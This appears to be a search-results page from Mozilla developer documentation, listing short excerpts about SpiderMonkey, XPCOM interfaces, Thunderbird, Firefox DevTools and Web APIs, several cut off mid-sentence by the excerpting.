the checkparam.js script is a useful tool to check that @param tags in java documentation comments match the parameters in the corresponding java method.
...controlling the javascript engine the runscript class runscript.java is a simple program that executes a script from the command line.
...the programs may be specified as files on the command line or by typing interactively while the shell is running.
Creating JavaScript jstest reftests
it is maintained by tc39, the ecmascript standard's technical committee.
... if your test needs to use browser-specific features, either: make the test silently pass if those features aren't present; or write a mochitest instead (preferred); or at the top of the test, add the comment // skip-if(xulruntime.shell), so that it only runs in the browser.
... if your test needs to use shell-specific features, like gc(), either: make the test silently pass if those features aren't present; or make it a jit-test (so that it never runs in the browser); or at the top of the test, add the comment // skip-if(!xulruntime.shell), so that it only runs in the shell.
How to embed the JavaScript engine
js::compileoptions opts(cx); opts.setfileandline(filename, lineno); bool ok = js::evaluate(cx, opts, script, strlen(script), &rval); if (!ok) return 1; } jsstring *str = rval.tostring(); printf("%s\n", js_encodestring(cx, str)); } js_destroycontext(cx); js_shutdown(); return 0; } build and run the hello world example build command line depends on the os and the tools.
... here are sample mac and linux command lines (where <objdir> is the directory where spidermonkey was built): # if you're using debug build of spidermonkey, you need -ddebug in addition to the command below.
... run the helloworld executable at the command line: ./helloworld how to call c functions from javascript say the c function is named doit and it would like at least two actual parameters when called (if the caller supplies fewer, the js engine should ensure that undefined is passed for the missing ones): #define doit_minargs 2 // [spidermonkey 24] use jsbool instead of bool.
Tracing JIT
it is correspondingly very simple: register allocation is done immediately, step-by-step as code is being generated.
...the associated fragment is placed in the monitor's fragment table and the monitor returns to monitoring mode, with a high likelihood of immediately transitioning to executing mode on the next bytecode interpreted.
...if that pc has itself grown hot, the monitor will immediately transition to recording mode starting with the exiting pc.
JSAPI User Guide
*/ js_reporterror(cx, "command failed with exit code %d", rc); return false; } this is very much like the javascript statement throw new error("command failed with exit code " + rc);.
... besides its name, * each property has a "tiny" identifier (my_color, e.g.) that can be used * in switch statements (in a common my_getproperty function, for example).
...this model provides a common security interface, but the actual security implementation is up to you.
JS::HandleValueArray
syntax js::handlevaluearray(const js::rootedvalue& value); js::handlevaluearray(const js::autovaluevector& values); js::handlevaluearray(const js::autovaluearray<n>& values); js::handlevaluearray(const js::callargs& args); js::handlevaluearray::frommarkedlocation(size_t len, const js::value *elements); js::handlevaluearray::subarray(const js::handlevaluearray& values, size_t startindex, size_t len); js::handlevaluearray::empty(); name type description value js::rootedvalue &amp; an element of newly created 1-length array.
... len size_t (frommarkedlocation only) length of elements array or (subarray only) length of sub array of values.
... elements js::value * (frommarkedlocation only) a pointer to the first element of an array of js::value.
JS_SetBranchCallback
if the callback returns js_false without raising an exception, then the javascript engine immediately stops running the script with an uncatchable error.
...a common technique is to use a counter.
... the callback simply increments the counter and does nothing further (returning js_true immediately) unless the counter has reached the threshold value.
JS_SetOptions
this flag is recommended.
... mxr id search for jsoption_atline jsoption_xml obsolete since jsapi 15 ecmascript for xml (e4x) support: parse <!-- --> as a token, not backward compatible with the comment-hiding hack used in html script tags.
... mxr id search for jsoption_allow_xml jsoption_moar_xml added in spidermonkey 15 ecmascript for xml (e4x) support: parse <!-- --> as a token, not backward compatible with the comment-hiding hack used in html script tags.
Running Automated JavaScript Tests
another common use case is to run just one test, or all the tests in just one directory: jstests.py path_to_js_shell test_path_substring [ test_path_substring_2 ...
...for a smoke test or if you are not changing language-level functionality, you may wish to use jstests.py path_to_js_shell --exclude=test262 other options allow you to show the test command lines being run, command output and return codes, run tests named in a given file, exclude tests named in a given file, hide the progress bar, change the timeout, run skipped tests, print output in tinderbox format, run a test in the debugger, or run tests in valgrind.
... running jstest in a browser jstests also runs on browser, with the following command: ./mach jstestbrowser to run specific test, you can use --filter=pattern command-line argument, where pattern is a regexp pattern that is tested against file:///{path_to_obj_dir}/dist/test-stage/jsreftest/tests/jsreftest.html?test={relative_path_to_test_from_js/src/tests} string: ./mach jstestbrowser --filter=pattern running jstests on treeherder when viewing treeherder after a push to the mozilla repositories, jstests run in the browser are shown as r(j) meaning "j...
SpiderMonkey: The Mozilla JavaScript runtime
using spidermonkey introduction to the javascript shell documentation of the command-line javascript shell, js.
... jsapi cookbook shows the jsapi translation of some commonly used javascript expressions and statements.
... spidermonkey internals: gc separate internals article on the gc spidermonkey internals: hacking tips collection of helpful tips & tools for hacking on the engine related topics javascript foss projects using or based on spidermonkey releases spidermonkey release notes current and past versions: 52, 45, 38, 31, 24, 17 community mailing list spidermonkey questions on stack overflow report a bug ...
WebReplayRoadmap
this requires scanning the recording and the console will not update immediately.
... recordings can be manually analyzed to determine this information, but it would be nice to automate this process and provide a summary of the allocation sites and places where objects are linked together that end up entraining the most amount of memory later on.
... while cloud integration is not in placer, web replay's architecture has recently been redesigned in preparation for cloud support, and communicating with replaying processes over a network connection instead of ipc should work pretty efficiently.
AT APIs Support
this is done to ensure a common look and feel across all supported platforms, and to allow for different skins (appearances).
...(i recommend sdk 1.3 because the msaa sdk 2.0 doesn't come with the source code to the testing tools.
... msaa msaa sdk tools - version 1.3 is recommended instead of 2.0 because it includes source code for the tools iaccessible2 accessibility probe -- includes msaa support as well atk/at-spi accerciser - interactive python accessibility explorer for the gnome desktop gecko dom inspector has an ability to test gecko accessibility layer, supports base features.
Retrieving part of the bookmarks tree
it contains administrative data as well as user data, and is therefore not recommended for use in querying.
...var rootnode = result.root; rootnode.containeropen = true; // iterate over the immediate children of this folder and dump to console for (var i = 0; i < rootnode.childcount; i ++) { var node = rootnode.getchild(i); dump("child: " + node.title + "\n"); } // close a container after using it!
...service = components.classes["@mozilla.org/browser/nav-bookmarks-service;1"] .getservice(components.interfaces.nsinavbookmarksservice); var toolbarfolder = bookmarksservice.toolbarfolder; query.setfolders([toolbarfolder], 1); var result = historyservice.executequery(query, options); var rootnode = result.root; rootnode.containeropen = true; // iterate over the immediate children of this folder and dump to console for (var i = 0; i < rootnode.childcount; i ++) { var node = rootnode.getchild(i); dump("child: " + node.title + "\n"); } // close a container after using it!
Creating a Python XPCOM component
it is helpful to then start mozilla from the command line to see if new components register successfully.
... # _reg_clsid_ = "{a new clsid generated for this object}" # _reg_contractid_ = "the.object.name" def get_value( self ): # result: string pass def set_value( self, param0 ): # result: void - none # in: param0: string pass as you can see, the output is valid python code, with basic signatures and useful comments for each of the methods.
... testing it to see this work, you will have to start firefox from the command line, since that'll be where the stuff will be printed out.
Building the WebLock UI
<separator class="thin"/> <hbox align="center"> <textbox id="url.input" flex="1"/> <button label="add this url" oncommand="addthissite();"/> </hbox> this snippet introduces a couple of new general layout widgets in xul.
...ager" style="width: 30em;" persist="screenx screeny" screenx="24" screeny="24"> <script src="chrome://weblock/content/weblock.js"/> <hbox> <separator orient="vertical" class="thin"/> <vbox flex="1"> <separator class="thin"/> <hbox align="center"> <textbox id="dialog.input" flex="1"/> <button label="add this url" oncommand="addthissite();"/> </hbox> <hbox align="center"> <radiogroup onchange="togglelock();"> <radio label="lock"/> <radio label="unlock"/> </radiogroup> <spacer flex="1"/> </hbox> </vbox> </hbox> </dialog> overlaying new user interface into mozilla you've got a dialog that will interact with the weblock component, but how do you...
... <overlay id="weblockoverlay" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <script type="application/javascript" src="chrome://weblock/content/weblock.js"/> <statusbar id="status-bar"> <statusbarpanel class="statusbarpanel-iconic" id="weblock-status" insertbefore="offline-status" oncommand="loadweblock();" status="none"/> </statusbar> </overlay> note that the root element for this file is not a <window/> but an <overlay/>.
Preface
though you can create xpcom components in javascript and other languages, and though you might be able to follow along as a c programmer, the component implementation code is written in c++, and much of the discussion of how to make your codeinto an xpcom component starts from c++.
...details about downloading the sdk, building, and getting programmatic access to gecko components are provided in the appendix to this book, setting up the gecko sdk.
...those terms are either explained immediately after they are cited, or else the reader is referred to a section in the book where they are described in detail.
Components.Constructor
summary creates a javascript function which can be used to create or construct new instances of xpcom components.
...the component is then returned immediately, with only the base interface nsisupports available on it; you must call nsisupports.queryinterface() on it to call methods on the object.
....org/binaryinputstream;1"] .createinstance(components.interfaces.nsibinaryinputstream); bis.setinputstream(someinputstream); // assumes binaryinputstream was initialized previously var bis = new binaryinputstream(someinputstream); components.constructor() is purely syntactic sugar (albeit speedy and pretty syntactic sugar) for actions that can be accomplished using other common methods.
Language bindings
apped) extensions, so that you can unload an old version of a code module when a new version of your add-on is installed.components.utils.unwaivexraysundo a previous call to components.utils.waivexrays(), restoring xray vision for the caller.components.utils.waivexrayswaives xray vision for an object, giving the caller a transparent wrapper to the underlying object.javaxpcomjavaxpcom allows for communication between java and xpcom, such that a java application can access xpcom objects, and xpcom can access any java class that implements an xpcom interface.
...the resources here provide information about this language binding and how to use it.pyxpcompyxpcom allows for communication between python and xpcom, such that a python application can access xpcom objects, and xpcom can access any python class that implements an xpcom interface.
... pyxpcom is actively used in activestate komodo products, for example.rbxpcomrbxpcom (ruby cross-platform com) provides bindings between the popular ruby programming language and xpcom.
nsDependentCString
class declaration nstdependentstring_chart stores a null-terminated, immutable sequence of characters.
... subclass of nststring that restricts string value to an immutable character sequence.
... @param aset -- contains chars to be trimmed from both ends @param aeliminateleading @param aeliminatetrailing @param aignorequotes -- if true, causes surrounding quotes to be ignored @return this parameters char* aset prbool aeliminateleading prbool aeliminatetrailing prbool aignorequotes compresswhitespace void compresswhitespace(prbool, prbool) - source this method strips whitespace from string.
nsDependentString
class declaration nstdependentstring_chart stores a null-terminated, immutable sequence of characters.
... subclass of nststring that restricts string value to an immutable character sequence.
... @param aset -- contains chars to be trimmed from both ends @param aeliminateleading @param aeliminatetrailing @param aignorequotes -- if true, causes surrounding quotes to be ignored @return this parameters char* aset prbool aeliminateleading prbool aeliminatetrailing prbool aignorequotes compresswhitespace void compresswhitespace(prbool, prbool) - source this method strips whitespace from string.
IAccessibleComponent
locationinparent() returns the location of the upper left corner of the object's bounding box relative to the immediate parent object.
...[propget] hresult locationinparent( [out] long x, [out] long y ); parameters x the x coordinate of the upper left corner of the object's bounding box relative to the immediate parent object.
... y the y coordinate of the upper left corner of the object's bounding box relative to the immediate parent object.
IAccessibleTable
n), length_is(, nchildren)] long children, [out] long nchildren ); [propget] hresult selectedcolumns([in] long maxcolumns, [out, size_is(,maxcolumns), length_is(, ncolumns)] long columns, [out] long ncolumns ); [propget] hresult selectedrows([in] long maxrows, [out, size_is(,maxrows), length_is(, nrows)] long rows, [out] long nrows ); hresult selectrow([in] long row ); [propget] hresult summary([out] iunknown accessible ); hresult unselectcolumn([in] long column ); hresult unselectrow([in] long row ); methods accessibleat() returns the accessible object at the specified row and column in the table.
...summary() returns the summary description of the table.
...[propget] hresult summary( [out] iunknown accessible ); parameters accessible returns a reference to an implementation dependent accessible object representing the table's summary or a null pointer if the table does not support a summary.
IAccessibleTable2
umn([in] long column ); [propget] hresult selectedcells([out, size_is(, nselectedcells,)] iunknown cells, [out] long nselectedcells ); [propget] hresult selectedcolumns([out, size_is(, ncolumns)] long selectedcolumns, [out] long ncolumns ); [propget] hresult selectedrows([out, size_is(, nrows)] long selectedrows, [out] long nrows ); hresult selectrow([in] long row ); [propget] hresult summary([out] iunknown accessible ); hresult unselectcolumn([in] long column ); hresult unselectrow([in] long row ); methods caption() returns the caption for the table.
...summary() returns the summary description of the table.
...[propget] hresult summary( [out] iunknown accessible ); parameters accessible returns a reference to an implementation dependent accessible object representing the table's summary or a null pointer if the table does not support a summary.
mozIStorageService
if this method throws ns_error_file_corrupted, it's recommended that you call mozistorageservice.backupdatabasefile() to back up the database so that user data is not lost (although we have no way of recovering this data yet).
...if this value is false, it is strongly recommended that the database be backed up with mozistorageconnection.backupdb() so user data is not lost.
...if this method throws ns_error_file_corrupted, it's recommended that you call mozistorageservice.backupdatabasefile() to back up the database so that user data is not lost (although we have no way of recovering this data yet).
nsIAccessibleTable
accessible/public/nsiaccessibletable.idlscriptable please add a summary to this article.
... note: renamed from selectedrowscount in gecko 1.9.2 summary astring the summary description for the table.
... for example, @summary attribute on html:table element.
nsIClassInfo
see nsiprogramminglanguage.constants for a list of possible values.
... for example, if asked for the helper for nsiprogramminglanguage::javascript this might return an object that can be nsisupports.queryinterface()'d into the nsixpcscriptable interface to assist xpconnect in supplying javascript specific behavior to callers of the instance object.
...nsiprogramminglanguage defines language identifiers that may be passed for this parameter.
nsICompositionStringSynthesizer
ompositionstringsynthesizer.attr_convertedtext); compositionstringsynthesizer.appendclause("bar".length, compositionstringsynthesizer.attr_selectedconvertedtext); compositionstringsynthesizer.appendclause("-buzz".length, compositionstringsynthesizer.attr_convertedtext); compositionstringsynthesizer.setcaret("foo-bar".length, 0); compositionstringsynthesizer.dispatchevent(); finally, when you commits composition with the last composition string "foo-bar-buzz": // deprecated in 36, first, dispatch commit string without clause information compositionstringsynthesizer.setstring("foo-bar-buzz"); compositionstringsynthesizer.dispatchevent(); // then, dispatch compositionend with the commit string domwindowutils.sendcompositionevent("compositionend", "foo-bar-buzz", ""); starting gecko 36, y...
...ou can do it simpler: domwindowutils.sendcompositionevent("compositioncommitasis", "", ""); if you need to commit composition with different commit string gecko 36 or later, you can use "compositioncommit": domwindowutils.sendcompositionevent("compositioncommit", "foo-bar-buzz", ""); method overview void appendclause(in unsigned long alength, in unsigned long aattribute); boolean dispatchevent(); void setcaret(in unsigned long aoffset, in unsigned long alength); void setstring(in astring astring); constants constant value description attr_raw_input 0x02 a clause attribute.
...in other words, commits composition string.
nsIContentFrameMessageManager
examples once you obtain the conten frame messge manager, you can send messages to listeners who registered with services.mm.addmessagelistener get content message manager from browser this could would run in a nsidomwindow scope.
... var acfmm = gbrowser.selectedbrowser._docshell.queryinterface(ci.nsiinterfacerequestor).getinterface(ci.nsicontentframemessagemanager); get content message manager from content window window here is a html window or any window inside a tab, this code would run from a framescript.
... var acfmm = window.queryinterface(ci.nsiinterfacerequestor) .getinterface(ci.nsidocshell) .queryinterface(ci.nsiinterfacerequestor) .getinterface(ci.nsicontentframemessagemanager); ...
nsIDBFolderInfo
as a service: var dbfolderinfo = components.classes["@mozilla.org/????????????????????????????"] .createinstance(components.interfaces.nsidbfolderinfo); method overview long andflags(in long flags); void changeexpungedbytes(in long delta); void changenummessages(in long delta); void changenumunreadmessages(in long delta); boolean getbooleanproperty(in string propertyname, in boolean defaultvalue); void getcharacterset(out acstring charset, out boolean overriden); void getcharactersetoverride(out boolean charactersetoverride); obsolete since gecko 1.8 string getcharptrc...
... imaphierarchyseparator wchar imaptotalpendingmessages long imapuidvalidity long imapunreadpendingmessages long knownartsset string locale astring mailboxname astring nummessages long numunreadmessages long sortorder nsmsgviewsortordervalue sorttype nsmsgviewsorttypevalue version unsigned long viewflags nsmsgviewflagstypevalue viewtype nsmsgviewtypevalue methods and...
...ags() long andflags( in long flags ); parameters flags missing description return value missing description exceptions thrown missing exception missing description changeexpungedbytes() void changeexpungedbytes( in long delta ); parameters delta missing description exceptions thrown missing exception missing description changenummessages() void changenummessages( in long delta ); parameters delta missing description exceptions thrown missing exception missing description changenumunreadmessages() void changenumunreadmessages( in long delta ); parameters delta missing description exceptions thrown missing exception missing description getbooleanproperty()...
nsIDOMWindowInternal
it provides many of the common functions used in javascript such as alert() or open().
...if the name doesn't exist, then a new window is opened and the specified resource is loaded into its browsing context.">open(in domstring url, in domstring name, in domstring options) nsidomwindow nsisupports aextraargument) void close() void updatecommands(in domstring action) boolean find([optional] in domstring str,[optional] in boolean casesensitive, [optional] in boolean backwards, [optional] in boolean wraparound, [optional] in boolean wholeword, [optional] in boolean searchinframes, [optional] in boolean showdialog) domstring atob(in domstring aasciistring) domstring btoa(in domstring abase64data) nsiv...
... url nsidommozurlproperty readonly: a dom url object, which provides the window.url.createobjecturl() and window.url.revokeobjecturl() methods.
nsIEffectiveTLDService
it is not recommended to use this interface for determining whether a given string "is a domain name".
... note: it is strongly recommended that you use getbasedomain() if a suitable nsiuri is available.
... note: it is strongly recommended to use getbasedomain() if a suitable nsiuri is available.
nsILoginManager
javascript callers can simply use the array's length property and supply a dummy argument for this parameter.
...javascript callers can simply use the array's length property and supply a dummy argument for this parameter.
...javascript callers can simply use the array's length property and supply a dummy argument for this parameter.
nsIMessageWakeupService
to indicate a wakeup request in a manifest file, add a line that looks something like this: category wakeup-request nscomponent @mozilla.org/myservice;1,nsimyinterface,getservice,mymessage1,mymessage2[,..] the category entry value consists of a comma separate string that contains: the contract id for your component (e.g.
... a comma-separated list of messages for which your component should be instantiated.
... alternatively, it is possible to register a wakeup entry programmatically via the nsicategorymanager interface.
nsIMsgWindow
mailnews/base/public/nsimsgwindow.idlscriptable please add a summary to this article.
...method overview void displayhtmlinmessagepane(in astring title, in astring body, in boolean clearmsghdr); void stopurls(); void closewindow(); attributes attribute type description windowcommands nsimsgwindowcommands this allows the backend code to send commands to the ui, such as clearmsgpane.
...it clears out the content listener, the windowcommands, the statusfeedback and the docshell objects.
nsINavBookmarkObserver
d short aitemtype, in nsiuri auri, in autf8string atitle, in prtime adateadded, in acstring aguid, in acstring aparentguid); void onitemchanged(in long long aitemid, in acstring aproperty, in boolean aisannotationproperty, in autf8string anewvalue, in prtime alastmodified, in unsigned short aitemtype, in long long aparentid, in acstring aguid, in acstring aparentguid); void onitemmoved(in long long aitemid, in long long aoldparentid, in long aoldindex, in long long anewparentid, in long anewindex, in unsigned short aitemtype, in acstring aguid, in acstring aoldparentguid, in acstring anewparentguid); void onitemremoved(in long long aitemid, in long long aparentid, in long aindex, in unsigned short aitemtype, in nsiuri auri, in acstring aguid, in acstring aparentgu...
... onitemmoved() this method notifies this observer that an item has been moved.
... void onitemmoved( in long long aitemid, in long long aoldparentid, in long aoldindex, in long long anewparentid, in long anewindex, in unsigned short aitemtype, in acstring aguid, in acstring aoldparentguid, in acstring anewparentguid ); parameters aitemid the id of the item that was moved.
nsINavHistoryResultViewObserver
onperformaction() this method provides a command api that can be used to invoke commands on the selection.
... onperformactiononrow() this method provides a command api that can be used to invoke commands on the specified row.
... onperformactiononcell() this method provides a command api that can be used to invoke commands on a specified cell.
nsIParserUtils
ring converttoplaintext(in astring src, in unsigned long flags, in unsigned long wrapcol); nsidomdocumentfragment parsefragment(in astring fragment, in unsigned long flags, in boolean isxml, in nsiuri baseuri, in nsidomelement element); astring sanitize(in astring src, in unsigned long flags); constants constant value description sanitizerallowcomments (1 << 0) flag for sanitizer: allow comment nodes.
... by default, comments and css is removed.
... to preserve comments, use sanitizerallowcomments.
nsIProtocolProxyService
proxy auto config (pac) may perform a synchronous dns query, which may not return immediately.
...this method is intended as a substitute for resolve when the result is not needed immediately.
...it is recommended that any extensions that choose to call this method make their position value configurable at runtime (perhaps via the preferences service).
nsIStackFrame
xpcom/base/nsiexception.idlscriptable please add a summary to this article.
... language pruint32 see nsiprogramminglanguage for a list of language constants.
... languagename string see nsiprogramminglanguage for a list of language constants.
nsIStyleSheetService
layout/base/nsistylesheetservice.idlscriptable please add a summary to this article.
...sheets added via this api take effect on all documents, including already-loaded ones, immediately.
...the removal takes effect immediately, even for already-loaded documents.
XPCOM reference
in a big change from the original nsiabcard, properties are now stored in a hash table instead of as attributes on the interface, allowing it to be more flexible.nsicookie2 mozilla 1 8 branchnsimsgsearchvaluedefined in comm-central/ mailnews/ base/ search/ public/ nsimsgsearchvalue.idl nsmsgmessageflagsthe nsmsgmessageflags interface describes possible flags for messages.
...for example to move forward a message, you would call:nsmsgsearchopvaluedefined in comm-central/ mailnews/ base/ search/ public/ nsmsgsearchcore.idl nsmsgviewcommandcheckstatethe nsmsgviewcommandcheckstate interface contains constants used for command status in thunderbird.
... it is (as far as i can tell) not currently used anywhere in thunderbird.nsmsgviewcommandtypethe nsmsgviewcommandtype interface contains constants used for commands in thunderbird.
XPCOM Thread Synchronization
prlock* mlock; prmonitor* mmonitor; prcondvar* mcvar; fooconstructor() { } nsresult init() { mlock = nsautolock::newlock("foo lock"); // check for null mmonitor = nsautomonitor::newmonitor("foo monitor"); // check for null mcvar = pr_newcondvar(mrawlock); // check for null // ...
... } new construction using namespace mozilla; mutex mlock; monitor mmonitor; condvar mcvar; fooconstructor() : mlock("foo lock"), mmonitor("foo monitor"), mcvar(mlock, "foo condvar") { } nsresult init() { // ...
... concurrentmethod() { nsautolock al(mlock); nsautomonitor am(mmonitor); if (needexpensivecomputation()) { nsautounlock au(mlock); } am.wait(); pr_notifycondvar(mcvar); } new usage using namespace mozilla; concurrentmethod() { mutexautolock al(mlock); monitorautoenter am(mmonitor); if (needexpensivecomputation()) { mutexautounlock au(mlock); } am.wait(); mcvar->notify(); } mozilla synchronization api reference the mozilla:: namespace exports the following synchronization primitives.
Frequently Asked Questions
no matter which code pattern you use to solve this problem, you should comment it, e.g., // warning: this getter doesn't addref() its result.
... the c++ programming language (3rd edition) by bjarne stroustrup.
... people don box is a smart guy who has been writing about com programming for a long time.
Reference Manual
because a few key routines are factored out into a common non-template base class, the actual underlying pointer is stored as an nsisupports* (except in debug builds where nscap_feature_debug_ptr_types is turned on).
...see code bloat [long, summary at top] for details, though the recommendations from that document are re-iterated here.
...prefer destruction to assignment prefer do_queryinterface to calling queryinterface iterating there is a very common idiom for iterating over data-structures with normal pointers, e.g., // iterating with pointers to non-xpcom objects...
Xptcall Porting Status
hopefully the comments in the code are detailed enough to help people attempting a port.
... <font color="white">done</font> linux ia64 hp ulrich drepper <drepper@redhat.com> bug 40950 comment 15 <font color="white">help!</font> all others!
...just because these people are listed here does not mean that they have commited themselves to do the work.
Xray vision
the security machinery in gecko ensures that there's asymmetric access between code at different privilege levels: so for example, content code can't access objects created by chrome code, but chrome code can access objects created by content.
... waiving xray vision xray vision is a kind of security heuristic, designed to make most common operations on untrusted objects simple and safe.
... the aim of xray vision is to make most common operations simple and safe, avoiding the need to access the underlying object except in more involved cases.
Mozilla technologies
apng is a simpler alternative to mng, providing a spec suitable for the most common usage of animated images on the internet.docshelldocshell is the second iteration of what originally started out as webshell.
...from webshell to docshell is not fully completed, but the long-term goal is to remove webshell and switch over entirely to docshell.embedded dialog apifeed content access apifirefox 2 and thunderbird 2 introduce a series of interfaces that make it easy for extension authors to access rss and atom feeds.life after xul: building firefox interfaces with htmlthis page gathers technical solutions to common problems encountered by teams shipping html-based interfaces inside firefox.morkmork is a database file format invented by david mccusker for the mozilla code since the original netscape database information was proprietary and could not be released open source.
... toolkit apithe mozilla toolkit is a set of programming interfaces (apis) built on top of gecko which provide advanced services to xul applications.
Test-Info
the test-info task group runs per-commit, only on mozilla-central.
... running test-info locally "test-info" is a mach command and can be run from any source tree.
... test-info has several sub-commands; the "report" sub-command is used by the test-info tasks mozilla-central$ mach help test-info report to reproduce test-info(all): mozilla-central$ mach test-info report --show-tests --show-summary --show-activedata running test-info on try to run these tasks on try, use something like: mach try fuzzy -q test-info contact information test-info is maintained by :gbrown.
Autoconfiguration in Thunderbird
guessing if all other mechanisms failed, thunderbird tries to guess the configuration, by trying common server names like imap.<domain>, smtp.<domain>, mail.<domain> etc., and, when a mail server answers, checking whether it supports ssl, starttls and encrypted passwords (cram-md5).
...either, you can redirect them to a common hostname: server { listen 10.2.3.4:80; #use your server's public ip here!
... server_name autoconfig.*; return 301 http://autoconfig.hoster.com$request_uri; } or serve them directly from a common directory: server { listen 10.2.3.4:80; #again, use your server's public ip here!
Main Windows
the rest is loaded from overlays: mailwindowoverlay.xul this is the red sections shown in the interface above (where?), including the toolbars, notification bars, and the status bar, but also includes most of the commands, keysets, and context menus of thunderbird, along with a whole lot of javascript.
... mailoverlay.xul a really small overlay that only adds a few “new message” and “new card” commands to the menus, along with their associated javascript.
... mailwindowoverlay.xul this is the red sections shown in the interface above, including the toolbars, notification bars and the status bar.it also includes most of the commands, keysets, and context menus of thunderbird, along with a whole lot of javascript.
Thunderbird Binaries
nightly builds from the comm-central trunk the trunk is the central source code that is used for continuous and ongoing development.
... latest english trunk builds are available at: https://archive.mozilla.org/pub/thunderbird/nightly/latest-comm-central/ latest localized trunk builds are available at: https://archive.mozilla.org/pub/thunderbird/nightly/latest-comm-central-l10n/ note: please use http://ftp.stage.mozaws.net/pub/thunderbird/nightly/latest-comm-central/ because the above two links currently do not work.
...you should see a string that looks something like this: comm-central-1.9.2 branch: mozilla/5.0 (windows; u; windows nt 5.1; en-us; rv:1.9.2.2pre) gecko/20100308 lanikai/3.1b1pre comm-central-trunk: mozilla/5.0 (windows; u; windows nt 5.1; en-us; rv:1.9.3a1pre) gecko/20090826 shredder/3.1a1pre the part that you want to note is the gecko revision number (rv) and the thunderbird version string.
Building a Thunderbird extension 1: introduction
thunderbird is a community managed open-source email application.
... documentation thunderbird extensions (documentation overview) firefox addons developer guide (many topics are applicable to thunderbird) mozilla cross-reference source code browser ("comm-central" contains the thunderbird code repository) community the thunderbird development community has a mailing list with an extensive searchable archive with an extensive searchable archive.
... you can also talk with the community on the #maildev irc channel.
Theme Packaging
theme file layout thunderbird themes are packaged in an xpi file with the following structure: theme.xpi: install.rdf preview.png icon.png chrome/ browser/files communicator/files global/files mozapps/files ...
...theme 1</em:name> <em:description>a test theme for thunderbird</em:description> <em:creator>ben goodger</em:creator> <em:contributor>john doe</em:contributor> <em:homepageurl>http://www.bengoodger.com/</em:homepageurl> <!-- front end integration hooks (used by theme manager)--> <em:internalname>newtheme1</em:internalname> </description> </rdf> the following are some common target application guids that you can use in your targetapplication properties: thunderbird {3550f703-e582-4d05-9a08-453d09bdfdc6} seamonkey {92650c4d-4b8e-4d2a-b7eb-24ecf4f6b63a} pale moon {8de7fcbb-c55c-4fbe-bfc5-fc555c87dbc4} official references for toolkit api official references.
... structure of an installable bundle: describes the common structure of installable bundles, including extensions, themes, and xulrunner applications extension packaging: specific information about how to package extensions theme packaging: specific information about how to package themes multiple-item extension packaging: specific information about multiple-item extension xpis xul application packaging: specific information about how to package xulrunner applications chrome registration ...
Using MAPI with Thunderbird's Windows 7 developer builds
mapi (messaging application programming interface) is a windows feature that allows applications to send files via a system's default mail application.
...(be sure to copy - not move - these files.) in the uninstall sub-directory of the bin directory, run these two commands: helper.exe /setasdefaultappglobal helper.exe /setasdefaultappuser create an elevated shell and register the mapi proxy.dll as a com server.
... (one way to create an elevated shell is to invoke the command prompt from the start menu, right click, and select run as administrator.) in the elevated shell, change to the objdir/mozilla/dist/bin directory and enter this command: regsvr32 mapiproxy_inuse.dll ...
Using the Mozilla source server
using the source server in windbg in the windbg command line, type .srcfix and hit enter.
...symbols will load and then, if you're using a cvs build, when you try to step into or step over a confirmation window will appear asking if you trust the cvs command that source server is trying to run.
... after the command executes, the source file will load in the window.
Streams - Plugins
it can have one of these values: npres_done (most common): normal completion; all data was sent to the instance.
... the buffer passed to npp_write may accommodate more bytes than the maximum number returned from npp_writeready .
...the reason parameter represents the reason the stream was stopped, as follows: npres_done (most common): the stream completed normally; the plug-in sent all data to the browser.
Introduction to DOM Inspector - Firefox Developer Tools
one of the biggest and most immediate advantages that this brings to your web and application development is that it makes it possible to find the markup and the nodes in which the interesting parts of a page or a piece of the user interface are defined.
... one common use of the dom inspector is to find the name and location of particular icon being used in the user interface, which is not an easy task otherwise.
...the following descriptions provide an overview of what these viewers are about: the dom nodes viewer shows attributes of nodes that can take them, or the text content of text nodes, comments, and processing instructions.
Use a source map - Firefox Developer Tools
to enable the debugger to work with a source map, you must: generate the source map include a comment in the transformed file, that points to the source map.
... the comment's syntax is like this: //# sourcemappingurl=http://example.com/path/to/your/sourcemap.map in the video above we load https://mdn.github.io/devtools-examples/sourcemaps-in-console/index.html.
...the compiled source contains a comment like this, that points to a source map: //# sourcemappingurl=main.js.map in the debugger's source list pane, the original coffeescript source now appears as "main.coffee", and we can debug it just like any other source.
Debugger.Frame - Firefox Developer Tools
a frame is a visible frame if any of the following are true: it is running debuggee code; its immediate caller is a frame running debuggee code; or it is a "debugger" frame, representing the continuation of debuggee code invoked by the debugger.
... the “immediate caller” rule means that, when debuggee code calls a non-debuggee function, it looks like a call to a primitive: you see a frame for the non-debuggee function that was accessible to the debuggee, but any further calls that function makes are treated as internal details, and omitted from the stack trace.
... (note that the debuggee is not considered an “immediate caller” of handler methods it triggers.
Debugger-API - Firefox Developer Tools
if you have a strong command of the javascript language, you should have all the background you need to use debugger successfully, even if you have never looked into the language’s implementation.
...cross-thread, cross-process, and cross-device tools must use debugger to observe the debuggee from within the same thread, and then handle any needed communication themselves.
... gecko-specific features while the debugger core api deals only with concepts common to any javascript implementation, it also includes some gecko-specific features: [global tracking][global] supports debugging all the code running in a gecko instance at once—the ‘chrome debugging’ model.
Dominators - Firefox Developer Tools
with a garbage-collected language, like javascript, the programmer doesn't generally have to worry about deallocating memory.
... if node b dominates node a, but does not dominate any of a's other dominators, then b is the immediate dominator of a: one slight subtlety here is that if an object a is referenced by two other objects b and c, then neither object is its dominator, because you could remove either b or c from the graph, and a would still be retained by its other referrer.
... instead, the immediate dominator of a would be its first common ancestor: see also dominators in graph theory.
Taking screenshots - Firefox Developer Tools
by default, the image file will be named screen shot yyy-mm-dd at hh.mm.ss.png.
... the command has the following optional parameters: command type description --clipboard boolean when present, this parameter will cause the screenshot to be copied to the clipboard.
...small portions of this section have been borrowed from his firefox’s :screenshot command article.
AbortController - Web APIs
communicating with a dom request is done using an abortsignal object.
... properties abortcontroller.signal read only returns a abortsignal object instance, which can be used to communicate with/abort a dom request.
... specifications specification status comment domthe definition of 'abortcontroller' in that specification.
AddressErrors.organization - Web APIs
for example, if validation simply ensures that only permitted characters are included in the organization's name, this might return a string such as "the organization name may only contain the letters a-z, digits, spaces, and commas." if the organization value was validated successfully, this property is not included in the addresserrors object.
... specifications specification status comment payment request apithe definition of 'addresserrors.organization' in that specification.
... candidate recommendation initial definition.
Animation.pause() - Web APIs
WebAPIAnimationpause
